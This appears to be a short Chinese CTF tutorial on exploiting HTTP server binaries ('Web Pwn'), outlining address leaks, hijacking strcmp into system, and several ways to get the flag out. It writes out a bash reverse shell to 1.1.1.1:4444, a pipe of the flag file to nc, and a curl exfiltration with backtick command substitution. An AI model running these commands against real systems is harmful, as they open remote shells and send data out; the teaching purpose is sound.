Web Pwn常见做法

[TOC] 参考博客

  • VNCTF2022一道题

一般httpd程序的执行流程为

  1. 在main函数中用pthread或fork来进入HTTP请求处理函数
  2. 在HTTP请求处理函数中,过滤掉不合法的请求协议(通常只接受GET/POST)和请求目录(通常过滤掉含有”..”的url,使我们不能访问xxx.com/../flag 来直接读取flag)
  3. 根据请求url,跳转到对应的cgi函数或文件读取函数

常见利用思路

  • 我们先创建/htdocs/index.html来保证程序能够正常运行。 不难想到通过指定地址泄露功能来拿到pie地址,再通过任意地址内容泄露功能打印出got表内容来泄露libc基地址,如果为传统pwn,我们就可以任意地址写修改hook为one_gadget或修改got表来运行system(“cat flag”)拿flag走人,但别忘了在httpd-pwn中,我们与程序的交互有socket的隔阂,我们只能获取到程序通过socket发送的内容,程序的输出对我们来说并不可见。

反弹flag方法

既然我们在socket语境下,那我们也用socket的方法解决问题。 首先我们需要控制程序流,我们注意到在输出功能中有一个strcmp函数以用户输入的字符串为参数,那我们就可以修改其为system函数来执行命令,我们就可以尝试反弹shell、反弹flag、写flag进文件的方法了。

本地不需要公网服务器也可以,自己的wsl的ip都可以

  • 反弹shell
  1. 首先我们需要一台公网服务器,其ip假定为 1.1.1.1,我们登录服务器并运行命令nc -lvp 4444
  2. 在受害者的电脑上运行命令bash -i >& /dev/tcp/1.1.1.1/4444 0>&1,在此题语境下为执行system(“bash -i >& /dev/tcp/1.1.1.1/4444 0>&1”);(下略)
  3. 我们可以看到服务器上出现了受害者的shell,cat flag即可
  • 反弹flag到nc
  1. 我们需要一台公网服务器,其ip假定为 1.1.1.1,我们登录服务器并运行命令nc -lvp 4444
  2. 在受害者的电脑上运行命令cat flag|nc 1.1.1.1 4444
  3. 服务器上接收到flag
  • 反弹flag到http服务器
  1. 我们依然需要一台公网服务器并有一个http服务器运行在80端口,ip假定为 1.1.1.1
  2. 执行 curl http://1.1.1.1/cat flag (注意命令中的反引号)
  3. 登录服务器,查看日志,获取flag
  • 写flag到文件
  1. 直接执行cat flag > /htdocs/index.html
  2. 正常访问/htdocs/index.html即可 程序在docker环境里一般没有写权限,所以这种方法成功率并不高

利用命令执行拿flag的方法还有很多,这里就不一一细举了,具体使用需要依赖题目环境等,希望能对刚刚接触http-pwn的读者有所启发。